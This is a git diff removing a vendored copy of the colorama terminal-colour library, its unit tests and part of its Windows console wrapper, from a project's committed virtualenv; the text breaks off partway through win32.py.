Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansi_test.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansi_test.cpython-311.pyc deleted file mode 100644 index 89cbe4ff..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansi_test.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansitowin32_test.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansitowin32_test.cpython-311.pyc deleted file mode 100644 index 5bcaf2f0..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/ansitowin32_test.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/initialise_test.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/initialise_test.cpython-311.pyc deleted file mode 100644 index 0af3059a..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/initialise_test.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/isatty_test.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/isatty_test.cpython-311.pyc deleted file mode 100644 index ad1a7a1c..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/isatty_test.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index bf0906be..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/winterm_test.cpython-311.pyc b/backend/venv/Lib/site-packages/colorama/tests/__pycache__/winterm_test.cpython-311.pyc deleted file mode 100644 index 099bfda6..00000000 Binary files a/backend/venv/Lib/site-packages/colorama/tests/__pycache__/winterm_test.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/colorama/tests/ansi_test.py b/backend/venv/Lib/site-packages/colorama/tests/ansi_test.py deleted file mode 100644 index 0a20c80f..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/ansi_test.py +++ /dev/null @@ -1,76 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main - -from ..ansi import Back, Fore, Style -from ..ansitowin32 import AnsiToWin32 - -stdout_orig = sys.stdout -stderr_orig = sys.stderr - - -class AnsiTest(TestCase): - - def setUp(self): - # sanity check: stdout should be a file or StringIO object. - # It will only be AnsiToWin32 if init() has previously wrapped it - self.assertNotEqual(type(sys.stdout), AnsiToWin32) - self.assertNotEqual(type(sys.stderr), AnsiToWin32) - - def tearDown(self): - sys.stdout = stdout_orig - sys.stderr = stderr_orig - - - def testForeAttributes(self): - self.assertEqual(Fore.BLACK, '\033[30m') - self.assertEqual(Fore.RED, '\033[31m') - self.assertEqual(Fore.GREEN, '\033[32m') - self.assertEqual(Fore.YELLOW, '\033[33m') - self.assertEqual(Fore.BLUE, '\033[34m') - self.assertEqual(Fore.MAGENTA, '\033[35m') - self.assertEqual(Fore.CYAN, '\033[36m') - self.assertEqual(Fore.WHITE, '\033[37m') - self.assertEqual(Fore.RESET, '\033[39m') - - # Check the light, extended versions. - self.assertEqual(Fore.LIGHTBLACK_EX, '\033[90m') - self.assertEqual(Fore.LIGHTRED_EX, '\033[91m') - self.assertEqual(Fore.LIGHTGREEN_EX, '\033[92m') - self.assertEqual(Fore.LIGHTYELLOW_EX, '\033[93m') - self.assertEqual(Fore.LIGHTBLUE_EX, '\033[94m') - self.assertEqual(Fore.LIGHTMAGENTA_EX, '\033[95m') - self.assertEqual(Fore.LIGHTCYAN_EX, '\033[96m') - self.assertEqual(Fore.LIGHTWHITE_EX, '\033[97m') - - - def testBackAttributes(self): - self.assertEqual(Back.BLACK, '\033[40m') - self.assertEqual(Back.RED, '\033[41m') - self.assertEqual(Back.GREEN, '\033[42m') - self.assertEqual(Back.YELLOW, '\033[43m') - self.assertEqual(Back.BLUE, '\033[44m') - self.assertEqual(Back.MAGENTA, '\033[45m') - self.assertEqual(Back.CYAN, '\033[46m') - self.assertEqual(Back.WHITE, '\033[47m') - self.assertEqual(Back.RESET, '\033[49m') - - # Check the light, extended versions. - self.assertEqual(Back.LIGHTBLACK_EX, '\033[100m') - self.assertEqual(Back.LIGHTRED_EX, '\033[101m') - self.assertEqual(Back.LIGHTGREEN_EX, '\033[102m') - self.assertEqual(Back.LIGHTYELLOW_EX, '\033[103m') - self.assertEqual(Back.LIGHTBLUE_EX, '\033[104m') - self.assertEqual(Back.LIGHTMAGENTA_EX, '\033[105m') - self.assertEqual(Back.LIGHTCYAN_EX, '\033[106m') - self.assertEqual(Back.LIGHTWHITE_EX, '\033[107m') - - - def testStyleAttributes(self): - self.assertEqual(Style.DIM, '\033[2m') - self.assertEqual(Style.NORMAL, '\033[22m') - self.assertEqual(Style.BRIGHT, '\033[1m') - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py b/backend/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py deleted file mode 100644 index 91ca551f..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/ansitowin32_test.py +++ /dev/null @@ -1,294 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from io import StringIO, TextIOWrapper -from unittest import TestCase, main -try: - from contextlib import ExitStack -except ImportError: - # python 2 - from contextlib2 import ExitStack - -try: - from unittest.mock import MagicMock, Mock, patch -except ImportError: - from mock import MagicMock, Mock, patch - -from ..ansitowin32 import AnsiToWin32, StreamWrapper -from ..win32 import ENABLE_VIRTUAL_TERMINAL_PROCESSING -from .utils import osname - - -class StreamWrapperTest(TestCase): - - def testIsAProxy(self): - mockStream = Mock() - wrapper = StreamWrapper(mockStream, None) - self.assertTrue( wrapper.random_attr is mockStream.random_attr ) - - def testDelegatesWrite(self): - mockStream = Mock() - mockConverter = Mock() - wrapper = StreamWrapper(mockStream, mockConverter) - wrapper.write('hello') - self.assertTrue(mockConverter.write.call_args, (('hello',), {})) - - def testDelegatesContext(self): - mockConverter = Mock() - s = StringIO() - with StreamWrapper(s, mockConverter) as fp: - fp.write(u'hello') - self.assertTrue(s.closed) - - def testProxyNoContextManager(self): - mockStream = MagicMock() - mockStream.__enter__.side_effect = AttributeError() - mockConverter = Mock() - with self.assertRaises(AttributeError) as excinfo: - with StreamWrapper(mockStream, mockConverter) as wrapper: - wrapper.write('hello') - - def test_closed_shouldnt_raise_on_closed_stream(self): - stream = StringIO() - stream.close() - wrapper = StreamWrapper(stream, None) - self.assertEqual(wrapper.closed, True) - - def test_closed_shouldnt_raise_on_detached_stream(self): - stream = TextIOWrapper(StringIO()) - stream.detach() - wrapper = StreamWrapper(stream, None) - self.assertEqual(wrapper.closed, True) - -class AnsiToWin32Test(TestCase): - - def testInit(self): - mockStdout = Mock() - auto = Mock() - stream = AnsiToWin32(mockStdout, autoreset=auto) - self.assertEqual(stream.wrapped, mockStdout) - self.assertEqual(stream.autoreset, auto) - - @patch('colorama.ansitowin32.winterm', None) - @patch('colorama.ansitowin32.winapi_test', lambda *_: True) - def testStripIsTrueOnWindows(self): - with osname('nt'): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - self.assertTrue(stream.strip) - - def testStripIsFalseOffWindows(self): - with osname('posix'): - mockStdout = Mock(closed=False) - stream = AnsiToWin32(mockStdout) - self.assertFalse(stream.strip) - - def testWriteStripsAnsi(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - stream.wrapped = Mock() - stream.write_and_convert = Mock() - stream.strip = True - - stream.write('abc') - - self.assertFalse(stream.wrapped.write.called) - self.assertEqual(stream.write_and_convert.call_args, (('abc',), {})) - - def testWriteDoesNotStripAnsi(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout) - stream.wrapped = Mock() - stream.write_and_convert = Mock() - stream.strip = False - stream.convert = False - - stream.write('abc') - - self.assertFalse(stream.write_and_convert.called) - self.assertEqual(stream.wrapped.write.call_args, (('abc',), {})) - - def assert_autoresets(self, convert, autoreset=True): - stream = AnsiToWin32(Mock()) - stream.convert = convert - stream.reset_all = Mock() - stream.autoreset = autoreset - stream.winterm = Mock() - - stream.write('abc') - - self.assertEqual(stream.reset_all.called, autoreset) - - def testWriteAutoresets(self): - self.assert_autoresets(convert=True) - self.assert_autoresets(convert=False) - self.assert_autoresets(convert=True, autoreset=False) - self.assert_autoresets(convert=False, autoreset=False) - - def testWriteAndConvertWritesPlainText(self): - stream = AnsiToWin32(Mock()) - stream.write_and_convert( 'abc' ) - self.assertEqual( stream.wrapped.write.call_args, (('abc',), {}) ) - - def testWriteAndConvertStripsAllValidAnsi(self): - stream = AnsiToWin32(Mock()) - stream.call_win32 = Mock() - data = [ - 'abc\033[mdef', - 'abc\033[0mdef', - 'abc\033[2mdef', - 'abc\033[02mdef', - 'abc\033[002mdef', - 'abc\033[40mdef', - 'abc\033[040mdef', - 'abc\033[0;1mdef', - 'abc\033[40;50mdef', - 'abc\033[50;30;40mdef', - 'abc\033[Adef', - 'abc\033[0Gdef', - 'abc\033[1;20;128Hdef', - ] - for datum in data: - stream.wrapped.write.reset_mock() - stream.write_and_convert( datum ) - self.assertEqual( - [args[0] for args in stream.wrapped.write.call_args_list], - [ ('abc',), ('def',) ] - ) - - def testWriteAndConvertSkipsEmptySnippets(self): - stream = AnsiToWin32(Mock()) - stream.call_win32 = Mock() - stream.write_and_convert( '\033[40m\033[41m' ) - self.assertFalse( stream.wrapped.write.called ) - - def testWriteAndConvertCallsWin32WithParamsAndCommand(self): - stream = AnsiToWin32(Mock()) - stream.convert = True - stream.call_win32 = Mock() - stream.extract_params = Mock(return_value='params') - data = { - 'abc\033[adef': ('a', 'params'), - 'abc\033[;;bdef': ('b', 'params'), - 'abc\033[0cdef': ('c', 'params'), - 'abc\033[;;0;;Gdef': ('G', 'params'), - 'abc\033[1;20;128Hdef': ('H', 'params'), - } - for datum, expected in data.items(): - stream.call_win32.reset_mock() - stream.write_and_convert( datum ) - self.assertEqual( stream.call_win32.call_args[0], expected ) - - def test_reset_all_shouldnt_raise_on_closed_orig_stdout(self): - stream = StringIO() - converter = AnsiToWin32(stream) - stream.close() - - converter.reset_all() - - def test_wrap_shouldnt_raise_on_closed_orig_stdout(self): - stream = StringIO() - stream.close() - with \ - patch("colorama.ansitowin32.os.name", "nt"), \ - patch("colorama.ansitowin32.winapi_test", lambda: True): - converter = AnsiToWin32(stream) - self.assertTrue(converter.strip) - self.assertFalse(converter.convert) - - def test_wrap_shouldnt_raise_on_missing_closed_attr(self): - with \ - patch("colorama.ansitowin32.os.name", "nt"), \ - patch("colorama.ansitowin32.winapi_test", lambda: True): - converter = AnsiToWin32(object()) - self.assertTrue(converter.strip) - self.assertFalse(converter.convert) - - def testExtractParams(self): - stream = AnsiToWin32(Mock()) - data = { - '': (0,), - ';;': (0,), - '2': (2,), - ';;002;;': (2,), - '0;1': (0, 1), - ';;003;;456;;': (3, 456), - '11;22;33;44;55': (11, 22, 33, 44, 55), - } - for datum, expected in data.items(): - self.assertEqual(stream.extract_params('m', datum), expected) - - def testCallWin32UsesLookup(self): - listener = Mock() - stream = AnsiToWin32(listener) - stream.win32_calls = { - 1: (lambda *_, **__: listener(11),), - 2: (lambda *_, **__: listener(22),), - 3: (lambda *_, **__: listener(33),), - } - stream.call_win32('m', (3, 1, 99, 2)) - self.assertEqual( - [a[0][0] for a in listener.call_args_list], - [33, 11, 22] ) - - def test_osc_codes(self): - mockStdout = Mock() - stream = AnsiToWin32(mockStdout, convert=True) - with patch('colorama.ansitowin32.winterm') as winterm: - data = [ - '\033]0\x07', # missing arguments - '\033]0;foo\x08', # wrong OSC command - '\033]0;colorama_test_title\x07', # should work - '\033]1;colorama_test_title\x07', # wrong set command - '\033]2;colorama_test_title\x07', # should work - '\033]' + ';' * 64 + '\x08', # see issue #247 - ] - for code in data: - stream.write(code) - self.assertEqual(winterm.set_title.call_count, 2) - - def test_native_windows_ansi(self): - with ExitStack() as stack: - def p(a, b): - stack.enter_context(patch(a, b, create=True)) - # Pretend to be on Windows - p("colorama.ansitowin32.os.name", "nt") - p("colorama.ansitowin32.winapi_test", lambda: True) - p("colorama.win32.winapi_test", lambda: True) - p("colorama.winterm.win32.windll", "non-None") - p("colorama.winterm.get_osfhandle", lambda _: 1234) - - # Pretend that our mock stream has native ANSI support - p( - "colorama.winterm.win32.GetConsoleMode", - lambda _: ENABLE_VIRTUAL_TERMINAL_PROCESSING, - ) - SetConsoleMode = Mock() - p("colorama.winterm.win32.SetConsoleMode", SetConsoleMode) - - stdout = Mock() - stdout.closed = False - stdout.isatty.return_value = True - stdout.fileno.return_value = 1 - - # Our fake console says it has native vt support, so AnsiToWin32 should - # enable that support and do nothing else. - stream = AnsiToWin32(stdout) - SetConsoleMode.assert_called_with(1234, ENABLE_VIRTUAL_TERMINAL_PROCESSING) - self.assertFalse(stream.strip) - self.assertFalse(stream.convert) - self.assertFalse(stream.should_wrap()) - - # Now let's pretend we're on an old Windows console, that doesn't have - # native ANSI support. - p("colorama.winterm.win32.GetConsoleMode", lambda _: 0) - SetConsoleMode = Mock() - p("colorama.winterm.win32.SetConsoleMode", SetConsoleMode) - - stream = AnsiToWin32(stdout) - SetConsoleMode.assert_called_with(1234, ENABLE_VIRTUAL_TERMINAL_PROCESSING) - self.assertTrue(stream.strip) - self.assertTrue(stream.convert) - self.assertTrue(stream.should_wrap()) - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/colorama/tests/initialise_test.py b/backend/venv/Lib/site-packages/colorama/tests/initialise_test.py deleted file mode 100644 index 89f9b075..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/initialise_test.py +++ /dev/null @@ -1,189 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main, skipUnless - -try: - from unittest.mock import patch, Mock -except ImportError: - from mock import patch, Mock - -from ..ansitowin32 import StreamWrapper -from ..initialise import init, just_fix_windows_console, _wipe_internal_state_for_tests -from .utils import osname, replace_by - -orig_stdout = sys.stdout -orig_stderr = sys.stderr - - -class InitTest(TestCase): - - @skipUnless(sys.stdout.isatty(), "sys.stdout is not a tty") - def setUp(self): - # sanity check - self.assertNotWrapped() - - def tearDown(self): - _wipe_internal_state_for_tests() - sys.stdout = orig_stdout - sys.stderr = orig_stderr - - def assertWrapped(self): - self.assertIsNot(sys.stdout, orig_stdout, 'stdout should be wrapped') - self.assertIsNot(sys.stderr, orig_stderr, 'stderr should be wrapped') - self.assertTrue(isinstance(sys.stdout, StreamWrapper), - 'bad stdout wrapper') - self.assertTrue(isinstance(sys.stderr, StreamWrapper), - 'bad stderr wrapper') - - def assertNotWrapped(self): - self.assertIs(sys.stdout, orig_stdout, 'stdout should not be wrapped') - self.assertIs(sys.stderr, orig_stderr, 'stderr should not be wrapped') - - @patch('colorama.initialise.reset_all') - @patch('colorama.ansitowin32.winapi_test', lambda *_: True) - @patch('colorama.ansitowin32.enable_vt_processing', lambda *_: False) - def testInitWrapsOnWindows(self, _): - with osname("nt"): - init() - self.assertWrapped() - - @patch('colorama.initialise.reset_all') - @patch('colorama.ansitowin32.winapi_test', lambda *_: False) - def testInitDoesntWrapOnEmulatedWindows(self, _): - with osname("nt"): - init() - self.assertNotWrapped() - - def testInitDoesntWrapOnNonWindows(self): - with osname("posix"): - init() - self.assertNotWrapped() - - def testInitDoesntWrapIfNone(self): - with replace_by(None): - init() - # We can't use assertNotWrapped here because replace_by(None) - # changes stdout/stderr already. - self.assertIsNone(sys.stdout) - self.assertIsNone(sys.stderr) - - def testInitAutoresetOnWrapsOnAllPlatforms(self): - with osname("posix"): - init(autoreset=True) - self.assertWrapped() - - def testInitWrapOffDoesntWrapOnWindows(self): - with osname("nt"): - init(wrap=False) - self.assertNotWrapped() - - def testInitWrapOffIncompatibleWithAutoresetOn(self): - self.assertRaises(ValueError, lambda: init(autoreset=True, wrap=False)) - - @patch('colorama.win32.SetConsoleTextAttribute') - @patch('colorama.initialise.AnsiToWin32') - def testAutoResetPassedOn(self, mockATW32, _): - with osname("nt"): - init(autoreset=True) - self.assertEqual(len(mockATW32.call_args_list), 2) - self.assertEqual(mockATW32.call_args_list[1][1]['autoreset'], True) - self.assertEqual(mockATW32.call_args_list[0][1]['autoreset'], True) - - @patch('colorama.initialise.AnsiToWin32') - def testAutoResetChangeable(self, mockATW32): - with osname("nt"): - init() - - init(autoreset=True) - self.assertEqual(len(mockATW32.call_args_list), 4) - self.assertEqual(mockATW32.call_args_list[2][1]['autoreset'], True) - self.assertEqual(mockATW32.call_args_list[3][1]['autoreset'], True) - - init() - self.assertEqual(len(mockATW32.call_args_list), 6) - self.assertEqual( - mockATW32.call_args_list[4][1]['autoreset'], False) - self.assertEqual( - mockATW32.call_args_list[5][1]['autoreset'], False) - - - @patch('colorama.initialise.atexit.register') - def testAtexitRegisteredOnlyOnce(self, mockRegister): - init() - self.assertTrue(mockRegister.called) - mockRegister.reset_mock() - init() - self.assertFalse(mockRegister.called) - - -class JustFixWindowsConsoleTest(TestCase): - def _reset(self): - _wipe_internal_state_for_tests() - sys.stdout = orig_stdout - sys.stderr = orig_stderr - - def tearDown(self): - self._reset() - - @patch("colorama.ansitowin32.winapi_test", lambda: True) - def testJustFixWindowsConsole(self): - if sys.platform != "win32": - # just_fix_windows_console should be a no-op - just_fix_windows_console() - self.assertIs(sys.stdout, orig_stdout) - self.assertIs(sys.stderr, orig_stderr) - else: - def fake_std(): - # Emulate stdout=not a tty, stderr=tty - # to check that we handle both cases correctly - stdout = Mock() - stdout.closed = False - stdout.isatty.return_value = False - stdout.fileno.return_value = 1 - sys.stdout = stdout - - stderr = Mock() - stderr.closed = False - stderr.isatty.return_value = True - stderr.fileno.return_value = 2 - sys.stderr = stderr - - for native_ansi in [False, True]: - with patch( - 'colorama.ansitowin32.enable_vt_processing', - lambda *_: native_ansi - ): - self._reset() - fake_std() - - # Regular single-call test - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(sys.stdout, prev_stdout) - if native_ansi: - self.assertIs(sys.stderr, prev_stderr) - else: - self.assertIsNot(sys.stderr, prev_stderr) - - # second call without resetting is always a no-op - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(sys.stdout, prev_stdout) - self.assertIs(sys.stderr, prev_stderr) - - self._reset() - fake_std() - - # If init() runs first, just_fix_windows_console should be a no-op - init() - prev_stdout = sys.stdout - prev_stderr = sys.stderr - just_fix_windows_console() - self.assertIs(prev_stdout, sys.stdout) - self.assertIs(prev_stderr, sys.stderr) - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/colorama/tests/isatty_test.py b/backend/venv/Lib/site-packages/colorama/tests/isatty_test.py deleted file mode 100644 index 0f84e4be..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/isatty_test.py +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main - -from ..ansitowin32 import StreamWrapper, AnsiToWin32 -from .utils import pycharm, replace_by, replace_original_by, StreamTTY, StreamNonTTY - - -def is_a_tty(stream): - return StreamWrapper(stream, None).isatty() - -class IsattyTest(TestCase): - - def test_TTY(self): - tty = StreamTTY() - self.assertTrue(is_a_tty(tty)) - with pycharm(): - self.assertTrue(is_a_tty(tty)) - - def test_nonTTY(self): - non_tty = StreamNonTTY() - self.assertFalse(is_a_tty(non_tty)) - with pycharm(): - self.assertFalse(is_a_tty(non_tty)) - - def test_withPycharm(self): - with pycharm(): - self.assertTrue(is_a_tty(sys.stderr)) - self.assertTrue(is_a_tty(sys.stdout)) - - def test_withPycharmTTYOverride(self): - tty = StreamTTY() - with pycharm(), replace_by(tty): - self.assertTrue(is_a_tty(tty)) - - def test_withPycharmNonTTYOverride(self): - non_tty = StreamNonTTY() - with pycharm(), replace_by(non_tty): - self.assertFalse(is_a_tty(non_tty)) - - def test_withPycharmNoneOverride(self): - with pycharm(): - with replace_by(None), replace_original_by(None): - self.assertFalse(is_a_tty(None)) - self.assertFalse(is_a_tty(StreamNonTTY())) - self.assertTrue(is_a_tty(StreamTTY())) - - def test_withPycharmStreamWrapped(self): - with pycharm(): - self.assertTrue(AnsiToWin32(StreamTTY()).stream.isatty()) - self.assertFalse(AnsiToWin32(StreamNonTTY()).stream.isatty()) - self.assertTrue(AnsiToWin32(sys.stdout).stream.isatty()) - self.assertTrue(AnsiToWin32(sys.stderr).stream.isatty()) - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/colorama/tests/utils.py b/backend/venv/Lib/site-packages/colorama/tests/utils.py deleted file mode 100644 index 472fafb4..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/utils.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from contextlib import contextmanager -from io import StringIO -import sys -import os - - -class StreamTTY(StringIO): - def isatty(self): - return True - -class StreamNonTTY(StringIO): - def isatty(self): - return False - -@contextmanager -def osname(name): - orig = os.name - os.name = name - yield - os.name = orig - -@contextmanager -def replace_by(stream): - orig_stdout = sys.stdout - orig_stderr = sys.stderr - sys.stdout = stream - sys.stderr = stream - yield - sys.stdout = orig_stdout - sys.stderr = orig_stderr - -@contextmanager -def replace_original_by(stream): - orig_stdout = sys.__stdout__ - orig_stderr = sys.__stderr__ - sys.__stdout__ = stream - sys.__stderr__ = stream - yield - sys.__stdout__ = orig_stdout - sys.__stderr__ = orig_stderr - -@contextmanager -def pycharm(): - os.environ["PYCHARM_HOSTED"] = "1" - non_tty = StreamNonTTY() - with replace_by(non_tty), replace_original_by(non_tty): - yield - del os.environ["PYCHARM_HOSTED"] diff --git a/backend/venv/Lib/site-packages/colorama/tests/winterm_test.py b/backend/venv/Lib/site-packages/colorama/tests/winterm_test.py deleted file mode 100644 index d0955f9e..00000000 --- a/backend/venv/Lib/site-packages/colorama/tests/winterm_test.py +++ /dev/null @@ -1,131 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import sys -from unittest import TestCase, main, skipUnless - -try: - from unittest.mock import Mock, patch -except ImportError: - from mock import Mock, patch - -from ..winterm import WinColor, WinStyle, WinTerm - - -class WinTermTest(TestCase): - - @patch('colorama.winterm.win32') - def testInit(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 7 + 6 * 16 + 8 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - self.assertEqual(term._fore, 7) - self.assertEqual(term._back, 6) - self.assertEqual(term._style, 8) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testGetAttrs(self): - term = WinTerm() - - term._fore = 0 - term._back = 0 - term._style = 0 - self.assertEqual(term.get_attrs(), 0) - - term._fore = WinColor.YELLOW - self.assertEqual(term.get_attrs(), WinColor.YELLOW) - - term._back = WinColor.MAGENTA - self.assertEqual( - term.get_attrs(), - WinColor.YELLOW + WinColor.MAGENTA * 16) - - term._style = WinStyle.BRIGHT - self.assertEqual( - term.get_attrs(), - WinColor.YELLOW + WinColor.MAGENTA * 16 + WinStyle.BRIGHT) - - @patch('colorama.winterm.win32') - def testResetAll(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 1 + 2 * 16 + 8 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - - term.set_console = Mock() - term._fore = -1 - term._back = -1 - term._style = -1 - - term.reset_all() - - self.assertEqual(term._fore, 1) - self.assertEqual(term._back, 2) - self.assertEqual(term._style, 8) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testFore(self): - term = WinTerm() - term.set_console = Mock() - term._fore = 0 - - term.fore(5) - - self.assertEqual(term._fore, 5) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testBack(self): - term = WinTerm() - term.set_console = Mock() - term._back = 0 - - term.back(5) - - self.assertEqual(term._back, 5) - self.assertEqual(term.set_console.called, True) - - @skipUnless(sys.platform.startswith("win"), "requires Windows") - def testStyle(self): - term = WinTerm() - term.set_console = Mock() - term._style = 0 - - term.style(22) - - self.assertEqual(term._style, 22) - self.assertEqual(term.set_console.called, True) - - @patch('colorama.winterm.win32') - def testSetConsole(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 0 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - term.windll = Mock() - - term.set_console() - - self.assertEqual( - mockWin32.SetConsoleTextAttribute.call_args, - ((mockWin32.STDOUT, term.get_attrs()), {}) - ) - - @patch('colorama.winterm.win32') - def testSetConsoleOnStderr(self, mockWin32): - mockAttr = Mock() - mockAttr.wAttributes = 0 - mockWin32.GetConsoleScreenBufferInfo.return_value = mockAttr - term = WinTerm() - term.windll = Mock() - - term.set_console(on_stderr=True) - - self.assertEqual( - mockWin32.SetConsoleTextAttribute.call_args, - ((mockWin32.STDERR, term.get_attrs()), {}) - ) - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/colorama/win32.py b/backend/venv/Lib/site-packages/colorama/win32.py deleted file mode 100644 index 841b0e27..00000000 --- a/backend/venv/Lib/site-packages/colorama/win32.py +++ /dev/null @@ -1,180 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. - -# from winbase.h -STDOUT = -11 -STDERR = -12 - -ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004 - -try: - import ctypes - from ctypes import LibraryLoader - windll = LibraryLoader(ctypes.WinDLL) - from ctypes import wintypes -except (AttributeError, ImportError): - windll = None - SetConsoleTextAttribute = lambda *_: None - winapi_test = lambda *_: None -else: - from ctypes import byref, Structure, c_char, POINTER - - COORD = wintypes._COORD - - class CONSOLE_SCREEN_BUFFER_INFO(Structure): - """struct in wincon.h.""" - _fields_ = [ - ("dwSize", COORD), - ("dwCursorPosition", COORD), - ("wAttributes", wintypes.WORD), - ("srWindow", wintypes.SMALL_RECT), - ("dwMaximumWindowSize", COORD), - ] - def __str__(self): - return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( - self.dwSize.Y, self.dwSize.X - , self.dwCursorPosition.Y, self.dwCursorPosition.X - , self.wAttributes - , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right - , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X - ) - - _GetStdHandle = windll.kernel32.GetStdHandle - _GetStdHandle.argtypes = [ - wintypes.DWORD, - ] - _GetStdHandle.restype = wintypes.HANDLE - - _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo - _GetConsoleScreenBufferInfo.argtypes = [ - wintypes.HANDLE, - POINTER(CONSOLE_SCREEN_BUFFER_INFO), - ] - _GetConsoleScreenBufferInfo.restype = wintypes.BOOL - - _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute - _SetConsoleTextAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - ] - _SetConsoleTextAttribute.restype = wintypes.BOOL - - _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition - _SetConsoleCursorPosition.argtypes = [ - wintypes.HANDLE, - COORD, - ] - _SetConsoleCursorPosition.restype = wintypes.BOOL - - _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA - _FillConsoleOutputCharacterA.argtypes = [ - wintypes.HANDLE, - c_char, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputCharacterA.restype = wintypes.BOOL - - _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute - _FillConsoleOutputAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputAttribute.restype = wintypes.BOOL - - _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW - _SetConsoleTitleW.argtypes = [ - wintypes.LPCWSTR - ] - _SetConsoleTitleW.restype = wintypes.BOOL - - _GetConsoleMode = windll.kernel32.GetConsoleMode - _GetConsoleMode.argtypes = [ - wintypes.HANDLE, - POINTER(wintypes.DWORD) - ] - _GetConsoleMode.restype = wintypes.BOOL - - _SetConsoleMode = windll.kernel32.SetConsoleMode - _SetConsoleMode.argtypes = [ - wintypes.HANDLE, - wintypes.DWORD - ] - _SetConsoleMode.restype = wintypes.BOOL - - def _winapi_test(handle): - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return bool(success) - - def winapi_test(): - return any(_winapi_test(h) for h in - (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) - - def GetConsoleScreenBufferInfo(stream_id=STDOUT): - handle = _GetStdHandle(stream_id) - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return csbi - - def SetConsoleTextAttribute(stream_id, attrs): - handle = _GetStdHandle(stream_id) - return _SetConsoleTextAttribute(handle, attrs) - - def SetConsoleCursorPosition(stream_id, position, adjust=True): - position = COORD(*position) - # If the position is out of range, do nothing. - if position.Y <= 0 or 